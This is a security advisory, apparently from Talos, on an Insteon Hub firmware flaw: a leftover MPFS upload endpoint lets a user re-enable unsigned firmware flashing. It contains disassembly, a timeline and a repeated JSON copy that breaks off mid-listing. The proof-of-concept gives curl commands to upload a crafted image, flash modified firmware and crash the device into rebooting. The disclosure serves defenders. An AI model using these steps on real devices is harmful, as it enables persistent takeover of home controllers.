### Summary
An exploitable firmware update vulnerability exists in Insteon Hub running firmware version 1013. The HTTP server allows for uploading arbitrary MPFS binaries that could be modified to enable access to hidden resources which allow for uploading unsigned firmware images to the device. To trigger this vulnerability, an attacker can upload an MPFS binary via the “/mpfsupload” HTTP form and later on upload the firmware via a POST request to “firmware.htm”.
### Tested Versions
Insteon Hub 2245-222 - Firmware version 1013
### Product URLs
<http://www.insteon.com/insteon-hub>
### CVSSv3 Score
9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
### CWE
CWE-489: Leftover Debug Code
### Details
Insteon produces a series of devices aimed at controlling and monitoring a home: wall switches, led bulbs, thermostats, cameras, etc. One of those is Insteon Hub, a central controller which allows an end-user to use his smartphone to connect to his own house remotely and manage any other device through it. The Insteon Hub board utilizes several MCUs, the firmware in question is executed by a Microchip PIC32MX MCU, which has a MIPS32 architecture.
The firmware uses Microchip’s “Libraries for Applications” as core for the application code. Its functionality resides on a co-operative multitasking loop, which continuously executes all the existing tasks: the library already defines several tasks, e.g. for reading and sending network packets and calling the relative callbacks. Custom applications building on this library simply need to add new functions at the end of the loop, taking care of executing tasks as quickly as possible, or splitting them in several loop cycles, in order to let other tasks running smoothly.
One of the default tasks defined by Microchip’s “Libraries for Applications” is called `HTTPServer`. Developers can use this task to handle HTTP requests but they have to implement a few functions on their own to handle for example “GET” and “POST” requests.
The `HTTPServer` task fills the global structure `curHTTP`, which has type `HTTP_CONN`.
// Stores extended state data for each connection
typedef struct
{
DWORD byteCount; // How many bytes have been read so far
DWORD nextCallback; // Byte index of the next callback
DWORD callbackID; // Callback ID to execute, also used as watchdog timer
DWORD callbackPos; // Callback position indicator
BYTE *ptrData; // Points to first free byte in data
BYTE *ptrRead; // Points to current read location
FILE_HANDLE file; // File pointer for the file being served
FILE_HANDLE offsets; // File pointer for any offset info being used
BYTE hasArgs; // True if there were get or cookie arguments
BYTE isAuthorized; // 0x00-0x79 on fail, 0x80-0xff on pass
HTTP_STATUS httpStatus; // Request method/status
HTTP_FILE_TYPE fileType; // File type to return with Content-Type
BYTE data[HTTP_MAX_DATA_LEN]; // General purpose data buffer
#if defined(HTTP_USE_POST)
BYTE smPost; // POST state machine variable
#endif
} HTTP_CONN;
extern HTTP_CONN curHTTP;
The developer implementing GET and POST handler functions can thus access `curHTTP` to implement its logic. Note that these handlers are only reached if a valid basic-auth string is provided.
Pages served by the `HTTPServer` are located in an “MPFS” image (Microchip Proprietary File System) which contain both static and dynamic resources. Insteon stores the “MPFS” image at offset 0x40000 in one of the three SPI flashes.
By default, the Microchip’s `HTTPServer` defines an `/mpfsupload` path that can be used to upload any arbitrary “MPFS” binary:
// Configure MPFS over HTTP updating
// Comment this line to disable updating via HTTP
#define HTTP_MPFS_UPLOAD "mpfsupload"
...
#if defined(HTTP_MPFS_UPLOAD)
static HTTP_IO_RESULT HTTPMPFSUpload(void)
{
BYTE c[16];
WORD lenA, lenB;
switch(curHTTP.httpStatus)
{
// New upload, so look for the CRLFCRLF
case HTTP_MPFS_UP:
lenA = TCPFindROMArray(sktHTTP, (ROM BYTE*)"\r\n\r\n", 4, 0, FALSE);
...
...
#endif
It’s easy to see that Insteon left this functionality available:
$ curl -u Username:Password "http://192.168.0.10:25105/mpfsupload"
<html><body style="margin:100px"><form method=post action="/mpfsupload" enctype="multipart/form-data"><b>MPFS Image Upload</b><p><input type=file name=i size=40> <input type=submit value="Upload"></form></body></html>
The structure of an “MPFS” file is described in the file “MPFS2.c” of Microchip’s “Libraries for Applications”:
MPFS Structure:
[M][P][F][S]
[BYTE Ver Hi][BYTE Ver Lo][WORD Number of Files]
[Name Hash 0][Name Hash 1]...[Name Hash N]
[File Record 0][File Record 1]...[File Record N]
[String 0][String 1]...[String N]
[File Data 0][File Data 1]...[File Data N]
Name Hash (2 bytes):
hash = 0
for each(byte in name)
hash += byte
hash <<= 1
Technically this means the hash only includes the
final 15 characters of a name.
File Record Structure (22 bytes):
[DWORD String Ptr][DWORD Data Ptr]
[DWORD Len][DWORD Timestamp][DWORD Microtime]
[WORD Flags]
Pointers are absolute addresses within the MPFS image.
Timestamp is the UNIX timestamp
Microtime is currently unimplemented
String Structure (1 to 64 bytes):
["path/to/file.ext"][0x00]
File Data Structure (arbitrary length):
[File Data]
As we can see there is no signature involved, so it’s possible to add any new file to the MPFS Structure (note that the filename hash has to be updated too). The issue with leaving the MPFS upload feature enabled is that it could be used to alter the execution of an existing MCU firmware. Indeed, in this case it is even possible to write persistent code to the device by exploiting this feature.
Let’s have a look at an interesting path in the HTTP POST handler defined by Insteon:
seg000:9D030E3C insteon_HTTPExecutePost:
seg000:9D030E3C
seg000:9D030E3C var_20= -0x20
seg000:9D030E3C var_4= -4
seg000:9D030E3C
seg000:9D030E3C 000 D0 FF BD 27 addiu $sp, -0x30
seg000:9D030E40 030 2C 00 BF AF sw $ra, 0x30+var_4($sp)
seg000:9D030E44 030 00 A0 02 3C lui $v0, 0xA000
seg000:9D030E48 030 44 0D 44 90 lbu $a0, curHTTP_file # [1]
seg000:9D030E4C 030 10 00 A5 27 addiu $a1, $sp, 0x30+var_20
seg000:9D030E50 030 F8 8A 41 0F jal MPFSGetFilename
seg000:9D030E54 030 14 00 06 24 li $a2, 0x14
seg000:9D030E58 030 10 00 A4 27 addiu $a0, $sp, 0x30+var_20
seg000:9D030E5C 030 07 9D 05 3C+ la $a1, aFirmware_htm # "firmware.htm"
seg000:9D030E64 030 57 F5 41 0F jal memcmp # [2]
seg000:9D030E68 030 0C 00 06 24 li $a2, 0xC
seg000:9D030E6C 030 05 00 40 14 bnez $v0, loc_9D030E84
seg000:9D030E70 030 10 00 A4 27 addiu $a0, $sp, 0x30+var_20
seg000:9D030E74 030 40 BD 40 0F jal insteon_HTTPExecutePostFirmware
seg000:9D030E78 030 00 00 00 00 nop
As we can see, the requested path is present in `curHTTP_file` [1] and it’s saved to `var_20` by calling `MPFSGetFilename`. If the requested file is “firmware.htm” [2], the device will follow the path that performs a firmware update by calling `insteon_HTTPExecutePostFirmware`. Normally this file doesn’t exist in the device, but it’s possible to upload an “MPFS” image that contains it: this would effectively re-enable an unsigned firmware update functionality.
seg000:9D02F500
seg000:9D02F500 insteon_HTTPExecutePostFirmware:
...
seg000:9D02F560 038 8F 81 80 A3 sb $zero, (insteon_is_fwpost_ok - unk_A0008030)($gp)
seg000:9D02F564 038 90 83 83 93 lbu $v1, (byte_A00003C0 - unk_A0008030)($gp)
seg000:9D02F568 038 C0 18 03 00 sll $v1, 3
seg000:9D02F56C 038 00 A0 02 3C+ la $v0, httpStubs
seg000:9D02F574 038 21 10 62 00 addu $v0, $v1, $v0
seg000:9D02F578 038 04 00 44 90 lbu $a0, 4($v0) # hTCP
seg000:9D02F57C 038 10 00 A0 AF sw $zero, 0x38+var_28($sp)
seg000:9D02F580 038 14 00 A0 AF sw $zero, 0x38+var_24($sp)
seg000:9D02F584 038 07 9D 05 3C+ la $a1, asc_9D075674 # "\r\n"
seg000:9D02F58C 038 02 00 06 24 li $a2, 2
seg000:9D02F590 038 25 AE 40 0F jal TCPFindArrayEx # [3]
seg000:9D02F594 038 21 38 00 00 move $a3, $zero
...
seg000:9D02F5D0 038 02 00 C6 24 addiu $a2, 2
seg000:9D02F5D4 038 04 00 44 90 lbu $a0, 4($v0) # hTCP
seg000:9D02F5D8 038 21 28 00 00 move $a1, $zero # buffer
seg000:9D02F5DC 038 15 AD 40 0F jal TCPGetArray # [4]
seg000:9D02F5E0 038 FF FF C6 30 andi $a2, 0xFFFF
...
seg000:9D02F610 038 10 00 A0 AF sw $zero, 0x38+var_28($sp)
seg000:9D02F614 038 14 00 A0 AF sw $zero, 0x38+var_24($sp)
seg000:9D02F618 038 07 9D 05 3C+ la $a1, asc_9D075678 # "\r\n\r\n"
seg000:9D02F620 038 04 00 06 24 li $a2, 4
seg000:9D02F624 038 25 AE 40 0F jal TCPFindArrayEx # [5]
seg000:9D02F628 038 21 38 00 00 move $a3, $zero
...
seg000:9D02F64C 038 04 00 44 90 lbu $a0, 4($v0) # hTCP
seg000:9D02F650 038 21 28 00 00 move $a1, $zero # buffer
seg000:9D02F654 038 15 AD 40 0F jal TCPGetArray # [6]
seg000:9D02F658 038 FF FF C6 30 andi $a2, 0xFFFF
...
seg000:9D02F6D0 038 C0 18 03 00 sll $v1, 3
seg000:9D02F6D4 038 00 A0 02 3C+ la $v0, httpStubs
seg000:9D02F6DC 038 21 10 62 00 addu $v0, $v1, $v0
seg000:9D02F6E0 038 89 AC 40 0F jal TCPIsGetReady # [7]
seg000:9D02F6E4 038 04 00 44 90 lbu $a0, 4($v0) # hTCP
...
seg000:9D02F72C 038 10 00 A0 AF sw $zero, 0x38+var_28($sp)
seg000:9D02F730 038 14 00 A0 AF sw $zero, 0x38+var_24($sp)
seg000:9D02F734 038 07 9D 05 3C+ la $a1, a0200_0 # ":0200"
seg000:9D02F73C 038 05 00 06 24 li $a2, 5
seg000:9D02F740 038 25 AE 40 0F jal TCPFindArrayEx # [8]
seg000:9D02F744 038 21 38 00 00 move $a3, $zero
seg000:9D02F748 038 21 88 40 00 move $s1, $v0
seg000:9D02F74C 038 FF FF 02 34 li $v0, 0xFFFF
seg000:9D02F750 038 03 00 22 12 beq $s1, $v0, loc_9D02F760
seg000:9D02F754 038 01 00 02 24 li $v0, 1
seg000:9D02F758 038 8F 81 82 A3 sb $v0, (insteon_is_fwpost_ok - unk_A0008030)($gp) # [9]
seg000:9D02F75C 038 21 88 00 00 move $s1, $zero
At [3] the TCP buffer is checked to contain “\r\n” and at [4] every byte is discarded up to and including “\r\n”. The same then happens at [5] and [6], where any input is discarded up to and including “\r\n\r\n”.
Then, if data is available [7], the TCP buffer is checked to contain “:0200” [8]. This sequence is present at the beginning of an Insteon firmware since it’s using the Intel HEX format. Finally, if the correct sequence is found, the `insteon_is_fwpost_ok` variable will contain 1 [9].
The execution continues by reading the whole POST body:
...
seg000:9D02F768 038 00 A0 14 3C+ la $s4, httpStubs
seg000:9D02F770 038 00 A0 13 3C+ la $s3, curHTTP_data
seg000:9D02F778 038 01 A0 15 3C+ la $s5, insteon_post_buffer # [10]
seg000:9D02F780 038 00 A0 12 3C lui $s2, 0xA000
seg000:9D02F784 038 2C 0D 56 26 addiu $s6, $s2, (curHTTP - 0xA0000000)
seg000:9D02F788 038 25 00 D6 26 addiu $s6, (curHTTP_data+1 - 0xA0000D2C)
seg000:9D02F78C
seg000:9D02F78C loc_9D02F78C:
seg000:9D02F78C 038 90 83 82 93 lbu $v0, (byte_A00003C0 - unk_A0008030)($gp)
seg000:9D02F790 038 C0 10 02 00 sll $v0, 3
seg000:9D02F794 038 21 10 54 00 addu $v0, $s4
seg000:9D02F798 038 04 00 44 90 lbu $a0, 4($v0) # hTCP
seg000:9D02F79C 038 41 00 02 2E sltiu $v0, $s0, 0x41
seg000:9D02F7A0 038 02 00 40 14 bnez $v0, loc_9D02F7AC
seg000:9D02F7A4 038 21 30 00 02 move $a2, $s0
seg000:9D02F7A8 038 40 00 06 24 li $a2, 0x40
seg000:9D02F7AC
seg000:9D02F7AC loc_9D02F7AC:
seg000:9D02F7AC 038 21 28 60 02 move $a1, $s3 # buffer
seg000:9D02F7B0 038 15 AD 40 0F jal TCPGetArray # [11]
seg000:9D02F7B4 038 FF FF C6 30 andi $a2, 0xFFFF
seg000:9D02F7B8 038 0A 00 40 10 beqz $v0, loc_9D02F7E4
seg000:9D02F7BC 038 21 18 60 02 move $v1, $s3
seg000:9D02F7C0 038 21 20 B1 02 addu $a0, $s5, $s1
seg000:9D02F7C4 038 FF FF 46 24 addiu $a2, $v0, -1
seg000:9D02F7C8 038 FF FF C6 30 andi $a2, 0xFFFF
seg000:9D02F7CC 038 21 30 C6 02 addu $a2, $s6, $a2
seg000:9D02F7D0
seg000:9D02F7D0 loc_9D02F7D0:
seg000:9D02F7D0 038 00 00 65 90 lbu $a1, 0($v1)
seg000:9D02F7D4 038 00 00 85 A0 sb $a1, 0($a0)
seg000:9D02F7D8 038 01 00 63 24 addiu $v1, 1
seg000:9D02F7DC 038 FC FF 66 14 bne $v1, $a2, loc_9D02F7D0
seg000:9D02F7E0 038 01 00 84 24 addiu $a0, 1
seg000:9D02F7E4
seg000:9D02F7E4 loc_9D02F7E4:
seg000:9D02F7E4 038 21 88 51 00 addu $s1, $v0, $s1
seg000:9D02F7E8 038 FF FF 31 32 andi $s1, 0xFFFF
seg000:9D02F7EC 038 2C 0D 43 8E lw $v1, 0xD2C($s2) # remaining data to read
seg000:9D02F7F0 038 23 18 62 00 subu $v1, $v0
seg000:9D02F7F4 038 23 80 02 02 subu $s0, $v0 # [12]
seg000:9D02F7F8 038 FF FF 10 32 andi $s0, 0xFFFF
seg000:9D02F7FC 038 E3 FF 00 16 bnez $s0, loc_9D02F78C # loop
seg000:9D02F800 038 2C 0D 43 AE sw $v1, 0xD2C($s2)
The POST body is saved in RAM at `0xA000B354` [10] and the data is read in 64-byte chunks [11] until the size defined by the “Content-Length” header is reached [12].
...
seg000:9D02F854 038 01 00 02 24 li $v0, 1
seg000:9D02F858 038 8F 81 83 93 lbu $v1, (insteon_is_fwpost_ok - unk_A0008030)($gp) # [13]
seg000:9D02F85C 038 35 00 62 14 bne $v1, $v0, loc_9D02F934
seg000:9D02F860 038 04 00 03 24 li $v1, 4
seg000:9D02F864 038 03 00 03 24 li $v1, 3
seg000:9D02F868 038 00 A0 02 3C lui $v0, 0xA000
seg000:9D02F86C 038 B4 0D 43 A0 sb $v1, byte_A0000DB4
seg000:9D02F870 038 01 A0 02 3C+ la $v0, insteon_post_buffer
seg000:9D02F878 038 00 10 44 24 addiu $a0, $v0, (byte_A000C354 - 0xA000B354)
seg000:9D02F87C 038 2D 00 03 24 li $v1, 0x2D
seg000:9D02F880 038 00 00 43 A0 sb $v1, (insteon_post_buffer - 0xA000B354)($v0)
seg000:9D02F884
seg000:9D02F884 loc_9D02F884:
seg000:9D02F884 038 01 00 42 24 addiu $v0, 1
seg000:9D02F888 038 FE FF 44 54 bnel $v0, $a0, loc_9D02F884
seg000:9D02F88C 038 00 00 43 A0 sb $v1, 0($v0)
seg000:9D02F890 038 98 81 92 8F lw $s2, (dword_A00001C8 - unk_A0008030)($gp)
seg000:9D02F894 038 02 8E 12 00 srl $s1, $s2, 24
seg000:9D02F898 038 A8 96 41 0F jal btohexa_high
seg000:9D02F89C 038 21 20 20 02 move $a0, $s1
seg000:9D02F8A0 038 01 A0 10 3C lui $s0, 0xA001
seg000:9D02F8A4 038 54 B3 02 A2 sb $v0, insteon_post_buffer
seg000:9D02F8A8 038 AF 96 41 0F jal btohexa_low
seg000:9D02F8AC 038 21 20 20 02 move $a0, $s1
seg000:9D02F8B0 038 54 B3 11 26 addiu $s1, $s0, (insteon_post_buffer - 0xA0010000) # [14]
seg000:9D02F8B4 038 01 00 22 A2 sb $v0, (byte_A000B355 - 0xA000B354)($s1)
seg000:9D02F8B8 038 00 3C 50 7E ext $s0, $s2, 0x10, 8
seg000:9D02F8BC 038 A8 96 41 0F jal btohexa_high
seg000:9D02F8C0 038 21 20 00 02 move $a0, $s0
seg000:9D02F8C4 038 02 00 22 A2 sb $v0, (byte_A000B356 - 0xA000B354)($s1)
seg000:9D02F8C8 038 AF 96 41 0F jal btohexa_low
seg000:9D02F8CC 038 21 20 00 02 move $a0, $s0
seg000:9D02F8D0 038 03 00 22 A2 sb $v0, (byte_A000B357 - 0xA000B354)($s1)
seg000:9D02F8D4 038 00 3A 50 7E ext $s0, $s2, 8, 8
seg000:9D02F8D8 038 A8 96 41 0F jal btohexa_high
seg000:9D02F8DC 038 21 20 00 02 move $a0, $s0
seg000:9D02F8E0 038 04 00 22 A2 sb $v0, (byte_A000B358 - 0xA000B354)($s1)
seg000:9D02F8E4 038 AF 96 41 0F jal btohexa_low
seg000:9D02F8E8 038 21 20 00 02 move $a0, $s0
seg000:9D02F8EC 038 05 00 22 A2 sb $v0, (byte_A000B359 - 0xA000B354)($s1)
seg000:9D02F8F0 038 FF 00 50 32 andi $s0, $s2, 0xFF
seg000:9D02F8F4 038 A8 96 41 0F jal btohexa_high
seg000:9D02F8F8 038 21 20 00 02 move $a0, $s0
seg000:9D02F8FC 038 06 00 22 A2 sb $v0, (byte_A000B35A - 0xA000B354)($s1)
seg000:9D02F900 038 AF 96 41 0F jal btohexa_low
seg000:9D02F904 038 21 20 00 02 move $a0, $s0
seg000:9D02F908 038 07 00 22 A2 sb $v0, (byte_A000B35B - 0xA000B354)($s1)
seg000:9D02F90C 038 21 20 20 02 move $a0, $s1 # [15]
seg000:9D02F910 038 1F 00 10 3C lui $s0, 0x1F
seg000:9D02F914 038 00 F0 05 36 ori $a1, $s0, 0xF000
seg000:9D02F918 038 13 84 41 0F jal insteon_perform_fw_update # [16]
seg000:9D02F91C 038 00 08 06 24 li $a2, 0x800
After the `insteon_post_buffer` is filled with the firmware, the `insteon_is_fwpost_ok` is checked to be 1 [13] and the firmware is passed as first parameter [15] to the function that actually writes the firmware to the internal memory [16]. No signature checks are performed throughout the entire operation, so an attacker can upload any arbitrary firmware image.
### Exploit Proof-of-Concept
By exploiting this bug, an attacker could follow these steps to flash a custom firmware to the device:
1- Create an MPFS image with just one file with name "firmware.htm".
2- Upload the custom MPFS image:
$ curl -F "i=@mpfs.bin" -u ${sUsername}:${sPassword} "http://${sInsteonIP}:25105/mpfsupload"
3- Modify a valid "prod_fw.hex" Insteon firmware at will. Finally add "\r\n\r\n\r\n" at the beginning and remove the trailing signature.
4- Upload the modified firmware:
$ curl --data-binary @prod_fw.hex -u ${sUsername}:${sPassword} "http://${sInsteonIP}:25105/firmware.htm"
5- When the device is rebooted, it will flash the new firmware into its internal flash.
It's possible to force a reboot by exploiting an uninitialized variable dereference, which will trigger an exception handler that will reboot the device:
$ curl -u ${sUsername}:${sPassword} "http://${sInsteonIP}:25105/?"
The device will take a few seconds more than usual to reboot since it will flash the new firmware before booting.
### Timeline
2018-01-16 - Vendor Disclosure
2018-01-18 - Vendor advised issues under evaluation
2018-02-12 - 30 day follow up with vendor
2018-03-09 - Vendor advised working on course of action
2018-04-06 - Follow up with vendor on fix/timeline
2018-04-12 - Vendor advised issues addressed & plan for beta testing
2018-06-19 - Public disclosure
{"id": "TALOS-2018-0511", "vendorId": null, "type": "talos", "bulletinFamily": "info", "title": "Insteon Hub MPFS Upload Firmware Update Vulnerability", "description": "### Summary\n\nAn exploitable firmware update vulnerability exists in Insteon Hub running firmware version 1013. The HTTP server allows for uploading arbitrary MPFS binaries that could be modified to enable access to hidden resources which allow for uploading unsigned firmware images to the device. To trigger this vulnerability, an attacker can upload an MPFS binary via the \u201c/mpfsupload\u201d HTTP form and later on upload the firmware via a POST request to \u201cfirmware.htm\u201d.\n\n### Tested Versions\n\nInsteon Hub 2245-222 - Firmware version 1013\n\n### Product URLs\n\n<http://www.insteon.com/insteon-hub>\n\n### CVSSv3 Score\n\n9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\n\n### CWE\n\nCWE-489: Leftover Debug Code\n\n### Details\n\nInsteon produces a series of devices aimed at controlling and monitoring a home: wall switches, led bulbs, thermostats, cameras, etc. One of those is Insteon Hub, a central controller which allows an end-user to use his smartphone to connect to his own house remotely and manage any other device through it. The Insteon Hub board utilizes several MCUs, the firmware in question is executed by a Microchip PIC32MX MCU, which has a MIPS32 architecture.\n\nThe firmware uses Microchip\u2019s \u201cLibraries for Applications\u201d as core for the application code. Its functionality resides on a co-operative multitasking loop, which continuously executes all the existing tasks: the library already defines several tasks, e.g. for reading and sending network packets and calling the relative callbacks. Custom applications building on this library simply need to add new functions at the end of the loop, taking care of executing tasks as quickly as possible, or splitting them in several loop cycles, in order to let other tasks running smoothly.\n\nOne of the default tasks defined by Microchip\u2019s \u201cLibraries for Applications\u201d is called `HTTPServer`. Developers can use this task to handle HTTP requests but they have to implement a few functions on their own to handle for example \u201cGET\u201d and \u201cPOST\u201d requests.\n\nThe `HTTPServer` task fills the global structure `curHTTP`, which has type `HTTP_CONN`.\n \n \n // Stores extended state data for each connection\n typedef struct\n {\n DWORD byteCount; // How many bytes have been read so far\n DWORD nextCallback; // Byte index of the next callback\n DWORD callbackID; // Callback ID to execute, also used as watchdog timer\n DWORD callbackPos; // Callback position indicator\n BYTE *ptrData; // Points to first free byte in data\n BYTE *ptrRead; // Points to current read location\n FILE_HANDLE file; // File pointer for the file being served\n FILE_HANDLE offsets; // File pointer for any offset info being used\n BYTE hasArgs; // True if there were get or cookie arguments\n BYTE isAuthorized; // 0x00-0x79 on fail, 0x80-0xff on pass\n HTTP_STATUS httpStatus; // Request method/status\n HTTP_FILE_TYPE fileType; // File type to return with Content-Type\n BYTE data[HTTP_MAX_DATA_LEN]; // General purpose data buffer\n #if defined(HTTP_USE_POST)\n BYTE smPost; // POST state machine variable\n #endif\n } HTTP_CONN;\n \n extern HTTP_CONN curHTTP;\n \n\nThe developer implementing GET and POST handler functions can thus access `curHTTP` to implement its logic. Note that these handlers are only reached if a valid basic-auth string is provided.\n\nPages served by the `HTTPServer` are located in an \u201cMPFS\u201d image (Microchip Proprietary File System) which contain both static and dynamic resources. Insteon stores the \u201cMPFS\u201d image at offset 0x40000 in one of the three SPI flashes.\n\nBy default, the Microchip\u2019s `HTTPServer` defines an `/mpfsupload` path that can be used to upload any arbitrary \u201cMPFS\u201d binary:\n \n \n // Configure MPFS over HTTP updating\n // Comment this line to disable updating via HTTP\n #define HTTP_MPFS_UPLOAD \"mpfsupload\"\n \n ...\n \n #if defined(HTTP_MPFS_UPLOAD)\n static HTTP_IO_RESULT HTTPMPFSUpload(void)\n {\n BYTE c[16];\n WORD lenA, lenB;\n \n switch(curHTTP.httpStatus)\n {\n // New upload, so look for the CRLFCRLF\n case HTTP_MPFS_UP:\n \n lenA = TCPFindROMArray(sktHTTP, (ROM BYTE*)\"\\r\\n\\r\\n\", 4, 0, FALSE);\n \n ...\n ...\n #endif\n \n\nIt\u2019s easy to see that Insteon left this functionality available:\n \n \n $ curl -u Username:Password \"http://192.168.0.10:25105/mpfsupload\"\n <html><body style=\"margin:100px\"><form method=post action=\"/mpfsupload\" enctype=\"multipart/form-data\"><b>MPFS Image Upload</b><p><input type=file name=i size=40> <input type=submit value=\"Upload\"></form></body></html>\n \n\nThe structure of an \u201cMPFS\u201d file is described in the file \u201cMPFS2.c\u201d of Microchip\u2019s \u201cLibraries for Applications\u201d:\n \n \n MPFS Structure:\n [M][P][F][S]\n [BYTE Ver Hi][BYTE Ver Lo][WORD Number of Files]\n [Name Hash 0][Name Hash 1]...[Name Hash N]\n [File Record 0][File Record 1]...[File Record N]\n [String 0][String 1]...[String N]\n [File Data 0][File Data 1]...[File Data N]\n \n Name Hash (2 bytes):\n hash = 0\n for each(byte in name)\n hash += byte\n hash <<= 1\n Technically this means the hash only includes the \n final 15 characters of a name.\n \n File Record Structure (22 bytes):\n [DWORD String Ptr][DWORD Data Ptr]\n [DWORD Len][DWORD Timestamp][DWORD Microtime]\n [WORD Flags]\n Pointers are absolute addresses within the MPFS image.\n Timestamp is the UNIX timestamp\n Microtime is currently unimplemented\n \n String Structure (1 to 64 bytes):\n [\"path/to/file.ext\"][0x00]\n \n File Data Structure (arbitrary length):\n [File Data]\n \n\nAs we can see there is no signature involved, so it\u2019s possible to add any new file to the MPFS Structure (note that the filename hash has to be updated too). The issue with leaving the MPFS upload feature enabled is that it could be used to alter the execution of an existing MCU firmware. Indeed, in this case it is even possible to write persistent code to the device by exploiting this feature.\n\nLet\u2019s have a look at an interesting path in the HTTP POST handler defined by Insteon:\n \n \n seg000:9D030E3C insteon_HTTPExecutePost:\n seg000:9D030E3C\n seg000:9D030E3C var_20= -0x20\n seg000:9D030E3C var_4= -4\n seg000:9D030E3C\n seg000:9D030E3C 000 D0 FF BD 27 addiu $sp, -0x30\n seg000:9D030E40 030 2C 00 BF AF sw $ra, 0x30+var_4($sp)\n seg000:9D030E44 030 00 A0 02 3C lui $v0, 0xA000\n seg000:9D030E48 030 44 0D 44 90 lbu $a0, curHTTP_file # [1]\n seg000:9D030E4C 030 10 00 A5 27 addiu $a1, $sp, 0x30+var_20\n seg000:9D030E50 030 F8 8A 41 0F jal MPFSGetFilename\n seg000:9D030E54 030 14 00 06 24 li $a2, 0x14\n seg000:9D030E58 030 10 00 A4 27 addiu $a0, $sp, 0x30+var_20\n seg000:9D030E5C 030 07 9D 05 3C+ la $a1, aFirmware_htm # \"firmware.htm\"\n seg000:9D030E64 030 57 F5 41 0F jal memcmp # [2]\n seg000:9D030E68 030 0C 00 06 24 li $a2, 0xC\n seg000:9D030E6C 030 05 00 40 14 bnez $v0, loc_9D030E84\n seg000:9D030E70 030 10 00 A4 27 addiu $a0, $sp, 0x30+var_20\n seg000:9D030E74 030 40 BD 40 0F jal insteon_HTTPExecutePostFirmware\n seg000:9D030E78 030 00 00 00 00 nop\n \n\nAs we can see, the requested path is present in `curHTTP_file` [1] and it\u2019s saved to `var_20` by calling `MPFSGetFilename`. If the requested file is \u201cfirmware.htm\u201d [2], the device will follow the path that performs a firmware update by calling `insteon_HTTPExecutePostFirmware`. Normally this file doesn\u2019t exist in the device, but it\u2019s possible to upload an \u201cMPFS\u201d image that contains it: this would effectively re-enable an unsigned firmware update functionality.\n \n \n seg000:9D02F500\n seg000:9D02F500 insteon_HTTPExecutePostFirmware:\n ...\n seg000:9D02F560 038 8F 81 80 A3 sb $zero, (insteon_is_fwpost_ok - unk_A0008030)($gp)\n seg000:9D02F564 038 90 83 83 93 lbu $v1, (byte_A00003C0 - unk_A0008030)($gp)\n seg000:9D02F568 038 C0 18 03 00 sll $v1, 3\n seg000:9D02F56C 038 00 A0 02 3C+ la $v0, httpStubs\n seg000:9D02F574 038 21 10 62 00 addu $v0, $v1, $v0\n seg000:9D02F578 038 04 00 44 90 lbu $a0, 4($v0) # hTCP\n seg000:9D02F57C 038 10 00 A0 AF sw $zero, 0x38+var_28($sp)\n seg000:9D02F580 038 14 00 A0 AF sw $zero, 0x38+var_24($sp)\n seg000:9D02F584 038 07 9D 05 3C+ la $a1, asc_9D075674 # \"\\r\\n\"\n seg000:9D02F58C 038 02 00 06 24 li $a2, 2\n seg000:9D02F590 038 25 AE 40 0F jal TCPFindArrayEx # [3]\n seg000:9D02F594 038 21 38 00 00 move $a3, $zero\n ...\n seg000:9D02F5D0 038 02 00 C6 24 addiu $a2, 2\n seg000:9D02F5D4 038 04 00 44 90 lbu $a0, 4($v0) # hTCP\n seg000:9D02F5D8 038 21 28 00 00 move $a1, $zero # buffer\n seg000:9D02F5DC 038 15 AD 40 0F jal TCPGetArray # [4]\n seg000:9D02F5E0 038 FF FF C6 30 andi $a2, 0xFFFF\n ...\n seg000:9D02F610 038 10 00 A0 AF sw $zero, 0x38+var_28($sp)\n seg000:9D02F614 038 14 00 A0 AF sw $zero, 0x38+var_24($sp)\n seg000:9D02F618 038 07 9D 05 3C+ la $a1, asc_9D075678 # \"\\r\\n\\r\\n\"\n seg000:9D02F620 038 04 00 06 24 li $a2, 4\n seg000:9D02F624 038 25 AE 40 0F jal TCPFindArrayEx # [5]\n seg000:9D02F628 038 21 38 00 00 move $a3, $zero\n ...\n seg000:9D02F64C 038 04 00 44 90 lbu $a0, 4($v0) # hTCP\n seg000:9D02F650 038 21 28 00 00 move $a1, $zero # buffer\n seg000:9D02F654 038 15 AD 40 0F jal TCPGetArray # [6]\n seg000:9D02F658 038 FF FF C6 30 andi $a2, 0xFFFF\n ...\n seg000:9D02F6D0 038 C0 18 03 00 sll $v1, 3\n seg000:9D02F6D4 038 00 A0 02 3C+ la $v0, httpStubs\n seg000:9D02F6DC 038 21 10 62 00 addu $v0, $v1, $v0\n seg000:9D02F6E0 038 89 AC 40 0F jal TCPIsGetReady # [7]\n seg000:9D02F6E4 038 04 00 44 90 lbu $a0, 4($v0) # hTCP\n ...\n seg000:9D02F72C 038 10 00 A0 AF sw $zero, 0x38+var_28($sp)\n seg000:9D02F730 038 14 00 A0 AF sw $zero, 0x38+var_24($sp)\n seg000:9D02F734 038 07 9D 05 3C+ la $a1, a0200_0 # \":0200\"\n seg000:9D02F73C 038 05 00 06 24 li $a2, 5\n seg000:9D02F740 038 25 AE 40 0F jal TCPFindArrayEx # [8]\n seg000:9D02F744 038 21 38 00 00 move $a3, $zero\n seg000:9D02F748 038 21 88 40 00 move $s1, $v0\n seg000:9D02F74C 038 FF FF 02 34 li $v0, 0xFFFF\n seg000:9D02F750 038 03 00 22 12 beq $s1, $v0, loc_9D02F760\n seg000:9D02F754 038 01 00 02 24 li $v0, 1\n seg000:9D02F758 038 8F 81 82 A3 sb $v0, (insteon_is_fwpost_ok - unk_A0008030)($gp) # [9]\n seg000:9D02F75C 038 21 88 00 00 move $s1, $zero\n \n\nAt [3] the TCP buffer is checked to contain \u201c\\r\\n\u201d and at [4] every byte is discarded up to and including \u201c\\r\\n\u201d. The same then happens at [5] and [6], where any input is discarded up to and including \u201c\\r\\n\\r\\n\u201d.\n\nThen, if data is available [7], the TCP buffer is checked to contain \u201c:0200\u201d [8]. This sequence is present at the beginning of an Insteon firmware since it\u2019s using the Intel HEX format. Finally, if the correct sequence is found, the `insteon_is_fwpost_ok` variable will contain 1 [9].\n\nThe execution continues by reading the whole POST body:\n \n \n ...\n seg000:9D02F768 038 00 A0 14 3C+ la $s4, httpStubs\n seg000:9D02F770 038 00 A0 13 3C+ la $s3, curHTTP_data\n seg000:9D02F778 038 01 A0 15 3C+ la $s5, insteon_post_buffer # [10]\n seg000:9D02F780 038 00 A0 12 3C lui $s2, 0xA000\n seg000:9D02F784 038 2C 0D 56 26 addiu $s6, $s2, (curHTTP - 0xA0000000)\n 